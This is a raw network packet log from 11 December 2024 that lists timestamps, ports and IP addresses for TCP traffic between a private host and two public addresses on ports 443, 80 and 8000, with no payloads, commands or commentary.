Dec 11, 2024 12:45:42.666832924 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.667026043 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.667071104 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.667206049 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.667443037 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.667460918 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.667814970 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.668247938 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.668322086 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.668459892 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.668549061 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.668569088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.668891907 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.669260025 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.669306040 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.669454098 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.669620991 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.669641972 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.669792891 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.670249939 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.670432091 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.670433998 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:42.670506954 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.670579910 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.670716047 CET	49763	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:42.670746088 CET	443	49763	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:49.204312086 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:49.419986010 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:49.420187950 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:49.420342922 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:49.690412045 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:50.194467068 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:50.194771051 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:50.472676992 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:53.490097046 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:53.705075026 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:53.705197096 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:53.705368996 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:53.979338884 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:54.465262890 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:54.465609074 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.466090918 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.680891991 CET	8000	49766	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:54.681030989 CET	49766	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.681875944 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:54.682085991 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.682276011 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.682276011 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:54.898317099 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:54.898350000 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:55.121659994 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:55.121942997 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:55.337821007 CET	8000	49767	23.88.71.29	192.168.11.20
Dec 11, 2024 12:45:55.337959051 CET	49767	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:45:59.812863111 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:45:59.927329063 CET	80	49762	172.67.128.139	192.168.11.20
Dec 11, 2024 12:45:59.927453041 CET	49762	80	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:00.265856981 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:00.541156054 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:00.781363010 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:01.056880951 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:01.296792030 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:01.573546886 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:01.812499046 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:02.090398073 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:02.327919006 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:02.606117964 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:02.843308926 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:03.113831997 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:03.358867884 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:03.633482933 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:20.198916912 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:20.462136030 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:20.623581886 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:20.667450905 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:20.886327028 CET	49765	8000	192.168.11.20	23.88.71.29
Dec 11, 2024 12:46:21.154815912 CET	8000	49765	23.88.71.29	192.168.11.20
Dec 11, 2024 12:46:29.596196890 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:29.596220970 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:29.596390009 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:29.596508980 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:29.596515894 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:29.834708929 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:29.835185051 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:29.835220098 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:29.835809946 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:29.835836887 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670219898 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670262098 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670291901 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670341015 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670414925 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.670440912 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.670459032 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.712224007 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.899415970 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.899682045 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.899722099 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.900154114 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.900361061 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.900376081 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.900408030 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.900408030 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.900602102 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.900768042 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:30.900777102 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:30.946443081 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.131776094 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.131997108 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132157087 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.132162094 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132303953 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132360935 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132567883 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.132571936 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132761002 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.132771969 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.132872105 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.133322954 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.133409023 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.133413076 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.133588076 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.133590937 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.133807898 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.374391079 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.374618053 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.374769926 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.374774933 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375107050 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375122070 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375205040 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375375032 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375547886 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375648975 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.375823975 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.376296043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.376296043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.376301050 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.376344919 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.376493931 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.376535892 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.376682043 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.376730919 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.377285957 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.377290010 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.377684116 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.378248930 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.378253937 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.378515959 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.431453943 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.595576048 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.595578909 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.595632076 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.595724106 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.595724106 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.595731974 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.595928907 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.596050978 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.596052885 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.596306086 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.596733093 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.596735954 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.596810102 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.596908092 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.596914053 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.597023964 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.597961903 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.598021030 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.598112106 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.598140955 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.598320007 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.598733902 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.598792076 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.598953009 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.598953009 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.598959923 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.599000931 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.599520922 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.599678993 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.599685907 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.649454117 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.830384016 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.830387115 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.830452919 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.830637932 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.830637932 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.830646038 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.830902100 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.831317902 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.831321001 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.831376076 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.831545115 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.831552029 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.832180977 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.832357883 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.832360029 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.832529068 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.832536936 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.832674026 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.832679987 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.832860947 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.833239079 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.833281994 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.833398104 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.833398104 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.833408117 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.833511114 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.834145069 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.834292889 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.834451914 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.834615946 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.834623098 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.834824085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:31.835059881 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:31.836378098 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.061860085 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.062021017 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.062083006 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.062201023 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.062208891 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.062372923 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.062683105 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.062861919 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.063486099 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.063575029 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.063616037 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.063622952 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.063796997 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.064506054 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.064568043 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.064733028 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.064737082 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.065406084 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.065428019 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.066135883 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.066135883 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.066135883 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.066143036 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.066353083 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.066420078 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.066498041 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.066504955 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.066546917 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.066598892 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.067588091 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.067610025 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.067776918 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.067776918 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.067783117 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.067826033 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.068370104 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.068598986 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.068604946 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.068736076 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.069144011 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.069283009 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.118758917 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.293780088 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.293782949 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.294038057 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.294083118 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.294563055 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.294567108 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.294850111 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296405077 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296407938 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296447992 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296451092 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296497107 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296531916 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296545029 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.296578884 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296578884 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296627998 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296627998 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.296677113 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.297401905 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.297542095 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.297590971 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.297590971 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299305916 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.299314022 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.299464941 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299464941 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299510956 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299510956 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299515963 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.299562931 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.299662113 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.300230026 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.300364017 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.300414085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.302124023 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.302131891 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.302380085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.302380085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.302565098 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.302570105 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.303086996 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.303222895 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.303222895 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.303227901 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.303353071 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.527616978 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.527620077 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.527841091 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.528527975 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.528534889 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.528770924 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.529495955 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.529535055 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.529544115 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.530448914 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.530456066 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.531421900 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.531430006 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.531434059 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.531871080 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.532582998 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.532588959 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.532954931 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.533323050 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.533721924 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.533729076 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.534286976 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.534571886 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.535314083 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.535326004 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.535708904 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.535713911 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.536158085 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.537158012 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.537166119 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.537288904 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.537353992 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.537359953 CET	443	49768	172.67.128.139	192.168.11.20
Dec 11, 2024 12:46:32.537403107 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.537403107 CET	49768	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:46:32.537403107 CET	49768	443	192.168.11.20	172.67.128.139
